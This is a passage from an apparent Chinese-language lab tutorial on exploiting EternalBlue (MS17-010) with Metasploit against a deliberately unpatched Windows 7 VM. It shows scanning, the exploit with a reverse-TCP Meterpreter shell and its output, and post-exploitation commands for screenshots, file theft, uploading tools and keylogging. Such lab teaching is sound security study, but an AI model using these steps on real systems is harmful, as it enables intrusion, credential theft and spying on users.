欢迎光临
我们一直在努力

永恒之蓝(MS17-010)漏洞实战攻略

永恒之蓝(MS17-010)漏洞实战攻略

一、漏洞背景

永恒之蓝(EternalBlue) 是 NSA(美国国家安全局)开发的网络武器,2017 年被黑客组织 Shadow Brokers 泄露。该漏洞利用 Windows SMB 协议的缓冲区溢出漏洞(CVE-2017-0144),可以在无需用户交互的情况下远程执行代码,并直接获取 SYSTEM 权限(Windows 最高权限)。

影响范围:

  • Windows XP / Vista / 7 / 8 / 8.1
  • Windows Server 2003 / 2008 / 2012 / 2016
  • 未安装 MS17-010 安全补丁的系统

危害等级:🔴 严重(CVSS 评分 9.8/10)

真实案例:2017 年 5 月,WannaCry 勒索病毒利用永恒之蓝漏洞在全球爆发,感染超过 150 个国家的 30 万台计算机,造成数十亿美元损失。


二、实验环境搭建

2.1 攻击机(Kali Linux)

  • 系统:Kali Linux 2024+
  • 工具:Metasploit Framework(MSF)
  • IP 地址:192.168.43.9
  • 网络:与靶机在同一局域网

2.2 靶机(Windows 7)

  • 系统:Windows 7 Professional SP1 x64
  • IP 地址:192.168.43.10
  • 关键配置:
    • 未安装 MS17-010 补丁
    • 关闭防火墙
    • 启用 SMB 服务

2.3 Windows 7 虚拟机安装详解

2.3.1 获取 Windows 7 原版镜像

为什么要用原版镜像?

  • Ghost 版、精简版可能被植入后门或篡改系统文件
  • 原版镜像带 SHA 校验码,可以验证文件完整性
  • 微软官方签名,安全可靠

获取渠道:MSDN(推荐)

网址:msdn.itellyou.cn

操作步骤:

  • 打开网站 → 左侧【操作系统】→ Windows 7
  • 找到这一行:Windows 7 Professional with Service Pack 1 (x64) – DVD (Chinese-Simplified)
  • 点击右侧【详细信息】,会弹出下载链接和校验码
  • 复制 ed2k 下载链接(完整链接如下):ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/
  • 用迅雷/qBittorrent 等支持 ed2k 协议的下载器下载
  • 文件大小:3.19GB,下载完成后核对 SHA1 校验码:SHA1: 9B57E67888434C24DD683968A3CE2C72755AB148
  • 版本说明:

    • x64 vs x86:
      • x64 = 64 位(主流,推荐)
      • x86 = 32 位(仅适用于老程序或低内存虚拟机)
    • Professional vs Ultimate:
      • Professional = 专业版(功能够用,推荐)
      • Ultimate = 旗舰版(功能最全,也可选)
    • 必须带 Service Pack 1(SP1):不带 SP1 的版本有大量漏洞和兼容性问题

    为什么要核对 SHA 校验码?
    SHA(Secure Hash Algorithm)是哈希算法,可以为文件生成唯一的"指纹"。如果文件被篡改(哪怕只改动 1 个字节),SHA 值就会完全不同。通过对比微软官方公布的 SHA 值和下载文件的 SHA 值,可以确认镜像未被植入木马。

    如何校验?
    Windows 下在 PowerShell 执行:

    Get-FileHash Algorithm SHA1 .\\cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso

    对比输出的 Hash 值是否和上面的 SHA1 一致。


    2.3.2 VMware 虚拟机创建

    VMware 新建虚拟机步骤:

  • 打开 VMware Workstation,点击"创建新的虚拟机"

  • 选择自定义(高级) → 下一步

  • 硬件兼容性:选择 Workstation 17.x(或当前版本)

  • 安装来源:选择"稍后安装操作系统"(不要选"安装程序光盘映像")

    • 为什么? 让 VMware 自动检测会选错版本,手动指定更可控
  • 客户机操作系统:

    • 选择 Microsoft Windows
    • 版本选择 Windows 7 x64
  • 虚拟机名称和位置:

    • 名称:Win7-EternalBlue-Lab(方便识别)
    • 位置:选择硬盘空间充足的分区(建议至少 50GB 可用空间)
  • 固件类型:⚠️ 非常重要!必须选择 BIOS

    • BIOS vs UEFI 区别:
      • BIOS:传统引导模式,兼容性好,Win7 原版镜像默认支持
      • UEFI:新式引导模式,需要 GPT 分区表,Win7 SP1 原版镜像不支持 UEFI 引导
    • 如果选错 UEFI,会导致"找不到引导设备"无法安装
  • 处理器配置:

    • 处理器数量:1
    • 每个处理器的核心数量:2(根据宿主机 CPU 调整,单核也能用)
  • 内存:分配 2048 MB(2GB) 或更高

    • Win7 最低 1GB,但实际使用建议 2GB 以上
    • 如果宿主机内存充足,可以分配 4GB
  • 网络类型:选择 桥接 (也可以使用NAT)

  • I/O 控制器类型:LSI Logic(推荐)

  • 虚拟磁盘类型:SCSI(推荐)

  • 磁盘:创建新虚拟磁盘

    • 磁盘大小:40GB 或更高
    • 选择"将虚拟磁盘存储为单个文件"(性能更好)
  • 完成创建,但先不要启动


  • 2.3.3 挂载 ISO 镜像并安装
  • 编辑虚拟机设置 → CD/DVD (SATA)

  • 选择"使用 ISO 映像文件",浏览选择刚下载的:

    cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso

  • 勾选"启动时连接"

  • 启动虚拟机,进入 Windows 7 安装界面

  • 安装步骤:

    • 语言:中文(简体)
    • 点击"现在安装"
    • 输入产品密钥:跳过(实验环境可以先不激活,30 天试用期)
    • 选择版本:Windows 7 Professional(专业版)
    • 许可条款:勾选"我接受许可条款"
    • 安装类型:自定义(高级)
    • 磁盘分区:选择"磁盘 0 未分配的空间" → 下一步(自动分区)
    • 等待安装完成(约 10-20 分钟)
  • 首次启动配置:

    • 密码:可以设置也可以留空
    • 产品密钥:跳过
    • Windows Update:选择"以后询问我"
    • 时间和日期:自动检测
    • 网络位置:选择"工作网络"
  • 安装完成!


  • 2.3.4 虚拟机网络配置检查

    进入 Win7 系统后,打开 cmd 执行:

    ipconfig

    查看"以太网适配器 本地连接"的 IPv4 地址,应该是 192.168.x.x 格式(如 192.168.43.10)。

    如果没有 IP 地址?

    • 检查 VMware 的"虚拟网络编辑器" → VMnet8(NAT 模式)是否启用
    • 检查 Win7 的"本地连接"是否启用自动获取 IP

    网络连通性测试:
    在 Win7 的 cmd 中执行:

    ping 192.168.43.1

    如果能 ping 通虚拟网关,说明网络正常。


    2.3.5 关键配置(用于永恒之蓝实验)

    ⚠️ 重要:确保 Win7 未安装 MS17-010 补丁

    原版 Win7 SP1 镜像默认没有 MS17-010 补丁,但如果连接互联网后可能会自动更新。为了保证实验成功,需要:

  • 禁用 Windows Update:

    • 控制面板 → Windows Update → 更改设置
    • 重要更新:选择"从不检查更新"
    • 取消勾选"推荐的更新"
  • 断开互联网连接(可选):

    • VMware 虚拟机设置 → 网络适配器 → 取消勾选"启动时连接"
    • 或者在 Win7 中禁用"本地连接"
  • 为什么要禁用更新?
    如果 Win7 自动安装了 MS17-010 补丁(KB4012212、KB4012215 等),永恒之蓝漏洞就被修复了,实验会失败。本实验的目的是学习漏洞原理,因此需要保持系统存在漏洞。


    2.4 靶机环境配置

    步骤 1:查看 IP 地址

    在 Windows 7 中打开 cmd,执行:

    ipconfig

    记录 IPv4 地址(如 192.168.43.10)。

    命令解析:

    • ipconfig:IP Configuration 的缩写,用于显示网络配置信息
    • 重点关注"IPv4 地址"这一行,这是虚拟机在局域网中的 IP
    • 这个 IP 是 DHCP(动态主机配置协议)自动分配的,每次重启可能会变化

    底层原理:
    当 Win7 启动时,网卡会向网络中广播 DHCP 请求(“我需要一个 IP 地址”),VMware 的虚拟 DHCP 服务器(运行在宿主机)收到请求后,从 IP 地址池中分配一个可用 IP,并告知子网掩码、网关、DNS 等信息。

    步骤 2:关闭防火墙
    • 控制面板 → Windows 防火墙
    • 点击"打开或关闭 Windows 防火墙"
    • 将"家庭或工作网络"和"公用网络"都设置为"关闭防火墙"

    为什么要关闭防火墙?
    Windows 防火墙默认会阻止外部对 445 端口(SMB 服务)的访问。防火墙的工作原理是检查所有入站/出站的网络数据包,根据规则决定放行或拦截。

    • 入站规则:外部发给本机的连接(如 Kali 扫描 Win7 的 445 端口)
    • 出站规则:本机发往外部的连接(如 Win7 访问网站)

    永恒之蓝攻击需要向 Win7 的 445 端口发送数据包,如果防火墙开启,这些数据包会被拦截,攻击失败。因此实验环境需要关闭防火墙。

    真实环境的差异:
    企业网络的防火墙规则非常严格,甚至有硬件防火墙(如 Palo Alto、Fortinet),会检测异常流量特征。永恒之蓝攻击的数据包有明显特征,容易被 IDS/IPS(入侵检测/防御系统)识别并告警。

    步骤 3:启动 SMB 服务

    以管理员身份运行 cmd,执行:

    net start server

    如果提示"服务已启动"或"请求的服务已经启动",说明 SMB 服务正常运行。

    命令解析:

    • net start:Windows 命令,用于启动系统服务
    • server:Server 服务的名称,负责处理 SMB/CIFS 文件共享请求

    底层原理:
    Server 服务启动后,会在 445 端口(TCP)监听连接请求。当其他计算机尝试访问共享文件夹时,就会向 445 端口发送 SMB 协议数据包。Server 服务接收数据包,解析请求,然后返回文件数据或错误信息。

    SMB 协议工作流程:

  • 客户端(Kali)向服务器(Win7)的 445 端口发起 TCP 连接
  • 进行 SMB 协议协商(确定使用 SMBv1/v2/v3)
  • 用户认证(提供用户名密码)
  • 访问共享资源(文件/打印机)
  • 永恒之蓝的特殊之处:
    漏洞发生在步骤 2(协议协商阶段),在用户认证之前就被触发,因此攻击无需知道用户名和密码。

    如何验证 SMB 服务是否运行?

    netstat -an | find "445"

    如果看到 0.0.0.0:445 LISTENING,说明 445 端口正在监听。

    netstat 命令解析:

    • netstat:Network Statistics,显示网络连接、路由表、端口监听状态
    • -a:显示所有连接和监听端口
    • -n:以数字形式显示 IP 和端口(不解析域名)
    • | find "445":管道符,将 netstat 的输出传递给 find 命令,筛选包含 “445” 的行
    步骤 4:启用网络共享
    • 控制面板 → 网络和共享中心 → 更改高级共享设置
    • 展开"家庭或工作"配置文件
    • 启用"网络发现"
    • 启用"文件和打印机共享"
    • 保存更改

    为什么要启用网络发现和文件共享?

    • 网络发现:允许本机被其他计算机发现(通过 NetBIOS、LLMNR 等协议广播主机名)
    • 文件和打印机共享:允许其他计算机访问本机的共享文件夹和打印机

    这两个功能会确保 SMB 服务完全开放,Kali 的扫描和攻击数据包能够被正确处理。

    NetBIOS 和 LLMNR 是什么?

    • NetBIOS:老式的局域网协议,用于主机名解析(名字 → IP)
    • LLMNR:链路本地多播名称解析,NetBIOS 的继任者

    当你在文件资源管理器输入 \\\\YAN-PC 访问共享文件夹时,系统会通过这些协议查找 YAN-PC 的 IP 地址。

    实战中的攻击场景:
    攻击者可以伪造 LLMNR/NetBIOS 响应,诱骗受害者连接到攻击者的恶意 SMB 服务器,从而窃取 NTLM 哈希(密码的加密形式)。这种攻击叫做 LLMNR/NetBIOS 投毒攻击,工具是 Responder。


    三、漏洞利用完整流程

    3.1 第一步:信息收集 – Nmap 端口扫描

    我的实战过程:
    一开始我不太懂怎么开始攻击,就去搜索"永恒之蓝攻击流程",发现第一步都是用 Nmap 扫描目标的 445 端口。于是我在 Kali 终端执行了这个命令,但刚开始不理解每个参数的含义,又去查了 Nmap 的用法。

    在 Kali Linux 终端执行:

    nmap -sV -p 445 192.168.43.10

    命令解析(我搜索后理解的):

    • nmap:Network Mapper,网络扫描工具,黑客必备
    • -sV:Service Version Detection,探测端口上运行的服务版本
      • 底层原理:Nmap 连接到开放端口后,会发送特定的探测数据包(probe),根据服务器返回的 banner(标识信息)判断服务类型和版本
      • 例如:连接 445 端口后,如果返回包含 SMB 字样,Nmap 就知道这是 SMB 服务
    • -p 445:指定只扫描 445 端口(SMB 服务默认端口)
      • 如果不指定 -p,Nmap 默认扫描常见的 1000 个端口,比较慢
      • 445 端口是 SMB 直接托管在 TCP 上的版本(SMBv1/v2/v3)
      • 139 端口是 SMB over NetBIOS(老版本)
    • 192.168.43.10:目标靶机 IP

    Nmap 的扫描原理:

  • 主机发现:先发送 ICMP Echo(ping)或 ARP 请求,确认目标主机在线
  • 端口扫描:向目标端口发送 TCP SYN 包(TCP 三次握手的第一步)
    • 如果收到 SYN-ACK 回复 → 端口开放
    • 如果收到 RST 回复 → 端口关闭
    • 如果没有回复 → 端口被防火墙过滤
  • 服务识别:连接开放端口,发送探测包,分析返回的 banner
  • TCP 三次握手(底层知识):

    客户端 服务器
    | |
    |——– SYN ———–>| (我想建立连接)
    |<—— SYN-ACK ———| (可以,我同意)
    |——– ACK ———–>| (好的,连接建立)

    Nmap 的 SYN 扫描只发送第一步,收到 SYN-ACK 后立即发送 RST 断开,因此不会在目标系统留下完整连接记录(半开放扫描),比较隐蔽。

    预期输出:

    PORT STATE SERVICE VERSION
    445/tcp open microsoft-ds

    如果 445 端口显示 open,说明 SMB 服务正在运行,可以继续攻击。

    我遇到的问题:
    第一次扫描时,发现 445 端口显示 filtered(被过滤),后来检查发现是 Win7 防火墙没关闭。关闭防火墙后重新扫描,状态变成 open,才能继续后面的步骤。

    扩展知识:端口状态的含义

    • open:端口开放,有服务监听
    • closed:端口关闭,没有服务监听,但主机在线
    • filtered:被防火墙过滤,Nmap 无法判断端口状态
    • open|filtered:Nmap 无法确定是开放还是过滤(UDP 扫描常见)

    3.2 第二步:漏洞检测 – MSF 扫描模块

    我的实战过程:
    扫描到 445 端口开放后,我不确定 Win7 是否真的存在永恒之蓝漏洞(可能已经打了补丁)。搜索后发现 Metasploit 有专门的检测模块,可以判断目标是否易受攻击。

    启动 Metasploit

    msfconsole -q

    • -q:quiet 模式,静默启动,跳过启动时的 ASCII 艺术 banner(导弹发射画面)

    Metasploit 是什么?
    Metasploit Framework(MSF)是世界上最流行的渗透测试框架,包含数千个漏洞利用模块(exploit)、辅助模块(auxiliary)、后渗透模块(post)。可以理解为"黑客工具箱",集成了各种攻击工具。

    MSF 的模块分类:

    • exploit:漏洞利用模块,主动攻击目标
    • auxiliary:辅助模块,用于扫描、嗅探、爆破等非攻击性操作
    • payload:攻击载荷,成功利用漏洞后在目标机器上执行的代码
    • post:后渗透模块,获取 shell 后进行的操作(提权、持久化等)
    • encoder:编码器,用于免杀(躲避杀软检测)
    加载漏洞扫描模块

    use auxiliary/scanner/smb/smb_ms17_010

    • use:MSF 命令,加载指定模块
    • auxiliary/scanner/smb/smb_ms17_010:模块路径
      • auxiliary:辅助模块
      • scanner:扫描器子类
      • smb:针对 SMB 协议
      • smb_ms17_010:专门检测 MS17-010 漏洞的模块

    这个模块的工作原理:
    它会向目标的 445 端口发送特殊构造的 SMB 数据包,尝试触发漏洞的特征行为(不会真的攻击),根据目标的响应判断是否存在漏洞。

    具体来说:

  • 建立 SMB 连接
  • 发送 SMB_COM_TRANSACTION2 请求(包含特殊构造的数据)
  • 检查返回的错误代码和内存布局
  • 如果返回特定的错误码,说明目标未打补丁,存在漏洞
  • 设置目标 IP

    set RHOSTS 192.168.43.10

    • RHOSTS:Remote Hosts,远程目标主机 IP
    • 可以设置单个 IP,也可以设置 IP 段(如 192.168.43.1-254)批量扫描

    为什么叫 RHOSTS 不是 RHOST?
    因为这个参数支持多个目标,所以用复数形式(Hosts)。如果只扫描一个目标,也用 RHOSTS。

    执行扫描

    run

    预期输出:

    [+] 192.168.43.10:445 – Host is likely VULNERABLE to MS17-010!
    – Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)

    如果看到 VULNERABLE(易受攻击),说明目标存在永恒之蓝漏洞,可以继续利用。

    我遇到的问题:
    第一次运行时,显示 Connection Timeout(连接超时),检查后发现:

  • Win7 的 Server 服务没有启动(net start server 解决)
  • Win7 的网络共享没有启用(控制面板设置解决)
  • 防火墙又自动开启了(再次关闭解决)
  • 调试技巧:
    如果扫描失败,可以在 Kali 中用 telnet 测试连通性:

    telnet 192.168.43.10 445

    如果显示 Connection refused 或超时,说明网络不通或服务未启动。


    3.3 第三步:漏洞利用 – 获取 Shell

    我的实战过程:
    确认漏洞存在后,我开始真正的攻击。搜索后发现 MSF 有现成的永恒之蓝攻击模块,但需要配置多个参数(RHOSTS、LHOST、payload),刚开始不太理解这些参数的含义,又去查了 payload 和反向连接的原理。

    加载攻击模块

    use exploit/windows/smb/ms17_010_eternalblue

    • exploit:漏洞利用模块(会主动攻击目标)
    • ms17_010_eternalblue:永恒之蓝漏洞利用模块

    这个模块做了什么?
    它实现了 NSA 泄露的 EternalBlue 攻击代码,包括:

  • 构造恶意 SMB 数据包(包含 shellcode)
  • 触发缓冲区溢出,覆盖内核内存
  • 劫持程序执行流,跳转到 shellcode
  • 执行 payload(我们指定的反向连接代码)
  • 设置目标和 Payload

    set RHOSTS 192.168.43.10
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.43.9

    参数解析(我搜索后理解的):

    1. RHOSTS(目标 IP)

    • 就是要攻击的 Win7 靶机 IP

    2. payload(攻击载荷)

    • windows/x64/meterpreter/reverse_tcp 这个看起来很复杂,其实是由 4 部分组成:
      • windows:目标操作系统是 Windows
      • x64:64 位架构(如果是 32 位系统用 x86)
      • meterpreter:payload 类型,是 Metasploit 自带的强大后渗透工具
      • reverse_tcp:连接方式,反向 TCP 连接

    Meterpreter 是什么?
    Meterpreter(Meta-Interpreter)是 Metasploit 的核心 payload,功能非常强大:

    • 完全运行在内存中,不写入硬盘(无文件攻击)
    • 加密通信(防止流量被监控)
    • 可以动态加载功能模块(截屏、键盘记录、提权等)
    • 退出后不留痕迹

    为什么选择 reverse_tcp(反向连接)?

    • 正向连接(bind_tcp):目标机器开启一个端口,攻击机连接过去
      • 缺点:容易被防火墙拦截(防火墙默认阻止外部连接)
    • 反向连接(reverse_tcp):目标机器主动连接攻击机
      • 优点:绕过防火墙(大多数防火墙只限制入站,不限制出站)

    反向连接的流程:

    攻击机(Kali) 目标机(Win7)
    | |
    | 1. 在 4444 端口监听 |
    | |
    | 2. 发送攻击数据包 |
    |———————->|
    | | 3. 执行 shellcode
    | |
    | 4. 主动连接回来 |
    |<———————-|
    | |
    | 5. 建立 Meterpreter |
    | 加密通道 |

    3. LHOST(监听 IP)

    • Local Host,攻击机的 IP(Kali 的 IP)
    • 用于接收目标的反向连接

    如何查看 Kali 的 IP?

    ip a

    ifconfig

    找到 inet 后面的 IP 地址(如 192.168.43.9)。

    查看配置(可选)

    show options

    确认所有必需参数已设置正确:

    • RHOSTS:目标 IP ✓
    • LHOST:攻击机 IP ✓
    • payload:反向 TCP Meterpreter ✓
    执行攻击

    exploit

    攻击过程详解(我观察终端输出理解的):

  • [*] Started reverse TCP handler on 192.168.43.9:4444

    • Metasploit 在攻击机的 4444 端口启动监听器,等待目标连接
  • [*] 192.168.43.10:445 – Using auxiliary/scanner/smb/smb_ms17_010 as check

    • 再次检测目标是否存在漏洞
  • [+] 192.168.43.10:445 – Host is likely VULNERABLE to MS17-010!

    • 确认目标易受攻击
  • [*] 192.168.43.10:445 – Connecting to target for exploitation.

    • 建立 SMB 连接
  • [*] 192.168.43.10:445 – Connection established for exploitation.

    • 连接成功
  • [*] 192.168.43.10:445 – Target OS selected valid for OS indicated by SMB reply

    • 确认目标操作系统类型
  • [*] 192.168.43.10:445 – CORE raw buffer dump (42 bytes)

    • 读取目标内核内存信息
  • [*] 192.168.43.10:445 – 0x00000010 …(16进制数据)

    • 内核内存数据,用于匹配漏洞特征
  • [*] 192.168.43.10:445 – Target arch selected valid for arch indicated by DCE/RPC reply

    • 确认目标架构(x64)
  • [*] 192.168.43.10:445 – Trying exploit with 12 Groom Allocations.

    • 使用 12 个 Groom 分配尝试利用
  • 什么是 Groom Allocation?
    这是永恒之蓝攻击的核心技术,用于在目标内核中"整理"内存布局,为缓冲区溢出创造条件:

    • Windows 内核有一个"非分页池"(Non-Paged Pool),用于存放不能被换出到硬盘的内存数据
    • Groom 就是通过发送多个 SMB 请求,在非分页池中创建多个固定大小的内存块
    • 然后释放其中一个,创造一个"空洞"(free hole)
    • 再发送恶意数据包,让溢出的数据精确填充这个空洞
    • 这样就能控制内核内存,劫持程序执行流
  • [*] 192.168.43.10:445 – Sending all but last fragment of exploit packet

    • 发送 exploit 数据包的大部分片段
  • [*] 192.168.43.10:445 – Starting non-paged pool grooming

    • 开始非分页池整理
  • [*] 192.168.43.10:445 – Sending SMBv2 buffers

    • 发送 SMBv2 缓冲区
  • [*] 192.168.43.10:445 – Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.

    • 关闭 SMBv1 连接,创建相邻的 free hole
  • [*] 192.168.43.10:445 – Sending final SMBv2 buffers.

    • 发送最终的 SMBv2 缓冲区
  • [*] 192.168.43.10:445 – Sending last fragment of exploit packet!

    • 发送 exploit 数据包的最后一个片段
  • [*] 192.168.43.10:445 – Receiving response from exploit packet

    • 接收 exploit 数据包的响应
  • [+] 192.168.43.10:445 – ETERNALBLUE overwrite completed successfully (0xC000000D)!

    • 🎉 永恒之蓝覆写成功!
    • 0xC000000D 是 Windows 错误码 STATUS_INVALID_PARAMETER,表示触发了预期的异常
  • [*] 192.168.43.10:445 – Sending egg to corrupted connection.

    • 发送 “egg”(标记代码)到损坏的连接
  • [*] 192.168.43.10:445 – Triggering free of corrupted buffer.

    • 触发损坏缓冲区的释放
  • [*] Sending stage (268902 bytes) to 192.168.43.10

    • 发送 Meterpreter 的第二阶段代码(268KB)
  • 为什么是多阶段 payload?

    • 第一阶段(stage 0):极小的 shellcode(几百字节),已经通过漏洞注入到目标内核
    • 第二阶段(stage 1):完整的 Meterpreter(268KB),通过已建立的连接传输
    • 优点:第一阶段越小,越容易注入成功;第二阶段通过正常网络传输,不受缓冲区大小限制
  • [*] Meterpreter session 1 opened (192.168.43.9:4444 -> 192.168.43.10:49158) at 2026-07-19 18:28:32 +0800
    • 🎉 Meterpreter 会话建立成功!
    • 192.168.43.9:4444:攻击机的监听地址
    • 192.168.43.10:49158:目标随机选择的出站端口
  • 成功标志:

    meterpreter >

    看到 meterpreter > 提示符,说明已经完全控制目标系统!

    我的感受:
    看到这个提示符的那一刻,感觉非常神奇。一个漏洞就能让我从 Kali 直接控制 Win7,不需要用户点击任何东西,不需要输入密码。这就是"0day 漏洞"的威力,也理解了为什么 WannaCry 能传播那么快。


    四、后渗透操作

    获取 Meterpreter Shell 后,可以执行以下命令:

    我的实战过程:
    成功拿到 shell 后,我不太确定能做什么操作,就在 Meterpreter 中输入 help 查看可用命令,发现有上百个命令。然后我挑了几个常用的试了一下,理解了后渗透阶段的操作。

    4.1 查看系统信息

    sysinfo

    输出示例:

    Computer : YAN-PC
    OS : Windows 7 (6.1 Build 7601, Service Pack 1)
    Architecture : x64
    System Language : zh_CN
    Domain : WORKGROUP
    Logged On Users : 2
    Meterpreter : x64/windows

    命令解析:

    • sysinfo:System Information,显示目标系统的详细信息
    • Computer:计算机名(NetBIOS 名称)
    • OS:操作系统版本和内部版本号(Build 7601 = SP1)
    • Architecture:系统架构(x86 或 x64)
    • System Language:系统语言(zh_CN = 中文简体)
    • Domain:域名(WORKGROUP = 工作组,说明不在域环境)
    • Logged On Users:当前登录的用户数量
    • Meterpreter:当前 Meterpreter 的架构

    为什么这些信息重要?

    • 了解目标系统版本,选择合适的提权漏洞(如果当前不是 SYSTEM 权限)
    • 确认架构,避免执行错误的二进制文件(x64 系统不能直接运行 x86 的某些工具)
    • 域环境和工作组环境的渗透策略完全不同(域环境可以横向移动到其他机器)

    4.2 查看当前权限

    getuid

    输出示例:

    Server username: NT AUTHORITY\\SYSTEM

    命令解析:

    • getuid:Get User ID,获取当前进程的用户身份
    • NT AUTHORITY\\SYSTEM:Windows 系统中的最高权限,比 Administrator 还高

    Windows 权限等级:

  • Guest(来宾):最低权限,只能浏览文件
  • User(普通用户):可以运行程序,但不能修改系统设置
  • Administrator(管理员):可以安装软件、修改系统设置,但某些系统文件仍然受保护
  • SYSTEM(系统):最高权限,可以访问所有文件、进程、注册表,不受 UAC(用户账户控制)限制
  • 为什么永恒之蓝直接拿到 SYSTEM 权限?
    因为漏洞发生在内核层(Windows 内核处理 SMB 数据包时),内核代码运行在 Ring 0(最高权限级别),因此注入的 shellcode 也拥有 SYSTEM 权限。

    Ring 权限模型:

    Ring 0: 内核模式(驱动、内核)- 完全控制硬件
    Ring 1: 未使用
    Ring 2: 未使用
    Ring 3: 用户模式(应用程序)- 受限访问

    4.3 列出进程

    ps

    显示目标系统所有正在运行的进程,可以用于后续进程注入、权限提升等操作。

    输出解析:

    • PID:进程 ID(Process ID),唯一标识一个进程
    • PPID:父进程 ID(Parent Process ID),该进程是由哪个进程创建的
    • Name:进程名称
    • Arch:架构(x86 或 x64)
    • Session:会话 ID(0 = 系统进程,1+ = 用户进程)
    • User:运行该进程的用户
    • Path:可执行文件路径

    我的理解:
    进程列表就像任务管理器,可以看到哪些程序在运行。在渗透测试中,常见操作是:

    • 进程迁移:把 Meterpreter 注入到稳定的系统进程(如 explorer.exe),防止被杀掉
    • 寻找高价值进程:如 lsass.exe(存储密码哈希)、winlogon.exe(登录进程)

    进程迁移命令:

    migrate 1234 # 1234 是目标进程的 PID

    4.4 截取屏幕

    screenshot

    自动截取目标系统桌面,保存到 Kali 本地(路径会显示在输出中)。

    底层原理:
    Meterpreter 调用 Windows API BitBlt() 和 GetDC(),从显示设备上下文(Display Device Context)读取屏幕像素数据,保存为图片文件,通过加密通道传输到攻击机。

    实战用途:

    • 查看用户正在做什么(是否在工作、浏览什么网站)
    • 捕捉敏感信息(聊天记录、文档内容)
    • 社会工程学(了解目标的工作习惯)

    4.5 查看网络配置

    ipconfig

    显示目标系统网络接口、IP 地址、子网掩码、网关等信息。

    输出包含:

    • 本地 IP 地址(如 192.168.43.10)
    • 子网掩码(如 255.255.255.0)
    • 默认网关(如 192.168.43.1)
    • DNS 服务器

    实战用途:

    • 判断目标在哪个网段(内网还是公网)
    • 发现其他网卡(如果有双网卡,可以作为跳板机横向移动)
    • 确认网络拓扑,规划下一步攻击

    4.6 进入系统 Shell

    shell

    进入 Windows cmd 命令行,可以执行任意系统命令。输入 exit 返回 Meterpreter。

    我的理解:
    shell 命令会在目标机器上启动一个 cmd.exe 进程,Meterpreter 捕获它的输入输出,转发到攻击机。这样我就可以像在 Win7 的命令提示符中一样执行命令。

    与 Meterpreter 的区别:

    • Meterpreter:运行在内存中,功能更强大(截屏、键盘记录),加密通信
    • Shell:普通的 cmd.exe,没有加密,但可以执行所有 Windows 命令

    常用的 Windows 命令:

    whoami # 查看当前用户
    net user # 列出所有用户
    net localgroup administrators # 查看管理员组成员
    ipconfig # 网络配置
    netstat -an # 查看网络连接
    tasklist # 列出进程
    systeminfo # 系统详细信息

    4.7 上传文件

    upload /root/test.txt C:\\\\Users\\\\Public\\\\test.txt

    将攻击机文件上传到目标系统(注意 Windows 路径需要双反斜杠)。

    命令解析:

    • /root/test.txt:Kali 上的源文件路径(Linux 路径用正斜杠)
    • C:\\\\Users\\\\Public\\\\test.txt:Win7 上的目标路径(Windows 路径用反斜杠)
    • 为什么要双反斜杠?因为反斜杠 \\ 在很多编程语言中是转义符,\\\\ 才表示一个反斜杠

    实战用途:

    • 上传后门程序(持久化)
    • 上传工具(mimikatz 抓密码、procdump 提取进程)
    • 上传脚本(自动化收集信息)

    底层原理:
    Meterpreter 读取本地文件内容,通过加密的 TLS 通道传输到目标机器,然后调用 Windows API CreateFile() 和 WriteFile() 写入磁盘。

    4.8 下载文件

    download C:\\\\Users\\\\Yan\\\\Desktop\\\\secret.txt /root/

    将目标系统文件下载到攻击机。

    实战用途:

    • 窃取敏感文档(合同、密码文件、数据库)
    • 下载浏览器历史记录和 Cookie
    • 收集证据(取证分析)

    批量下载:

    download C:\\\\Users\\\\Yan\\\\Documents\\\\ /root/loot/

    递归下载整个文件夹。

    4.9 键盘记录

    keyscan_start # 开始记录键盘输入
    keyscan_dump # 导出记录的按键
    keyscan_stop # 停止记录

    底层原理:
    Meterpreter 使用 Windows 钩子(Hook)技术,注册一个底层键盘钩子(SetWindowsHookEx API),拦截所有键盘事件。每次用户按键,钩子函数就会被调用,记录按键码(VK_CODE),然后转换为字符。

    Hook 是什么?
    Hook(钩子)是 Windows 提供的一种消息拦截机制。操作系统在处理键盘、鼠标、窗口等事件时,会先调用注册的 Hook 函数,Hook 可以:

    • 查看事件内容(偷窥)
    • 修改事件(篡改)
    • 阻止事件传递(拦截)

    实战用途:

    • 窃取密码(用户登录时输入的密码)
    • 窃取信用卡号、身份证号
    • 监控用户聊天内容

    我的思考:
    键盘记录器在电影里经常出现,没想到 Meterpreter 一个命令就能实现。这也是为什么重要系统会使用软键盘(用鼠标点击输入),可以防御键盘记录。

    4.10 退出控制

    exit

    退出 Meterpreter 会话,目标系统恢复正常。

    注意:Meterpreter 是内存马,运行在内存中,退出后不会在目标系统留下文件痕迹。

    什么是内存马?

    • 普通木马:写入硬盘(如 C:\\Windows\\System32\\evil.exe),重启后仍然存在,但容易被杀软检测
    • 内存马:只存在于内存中,不写入硬盘,重启后消失,杀软难以检测

    Meterpreter 的隐蔽性:

  • 无文件:不在硬盘留下 exe 文件
  • 加密通信:流量被 TLS 加密,难以分析
  • 反调试:检测到调试器会自动退出
  • 进程注入:可以注入到合法进程(如 explorer.exe),看起来像正常程序
  • 但也不是完全隐蔽:

    • 杀软的"行为检测"可以发现异常(如进程突然连接外网)
    • EDR(终端检测与响应)会监控内存中的恶意代码
    • 蓝队可以通过内存取证工具(Volatility)分析内存镜像,发现 Meterpreter

    五、攻击原理深度解析

    5.1 SMB 协议简介

    SMB(Server Message Block)是 Windows 系统用于文件共享、打印机共享的网络协议,默认运行在 445 端口。

    SMB 的历史:

    • SMBv1:1983 年由 IBM 开发,后被微软采用,存在大量安全漏洞
    • SMBv2:2006 年(Vista/Server 2008),性能大幅提升,减少网络往返次数
    • SMBv3:2012 年(Win8/Server 2012),增加加密、多通道等特性

    永恒之蓝利用的是 SMBv1 的漏洞,这也是为什么防御措施之一是禁用 SMBv1。

    SMB 协议栈:

    应用层: 文件共享、打印
    —————————-
    SMB 协议层: SMB 命令(读写文件)
    —————————-
    传输层: TCP 445 端口
    —————————-
    网络层: IP
    —————————-
    数据链路层: 以太网

    5.2 永恒之蓝漏洞原理

    我搜索后理解的原理:

    永恒之蓝利用的是 SMBv1 协议在处理 SMB_COM_TRANSACTION2 命令时的缓冲区溢出漏洞。

    1. 缓冲区溢出基础

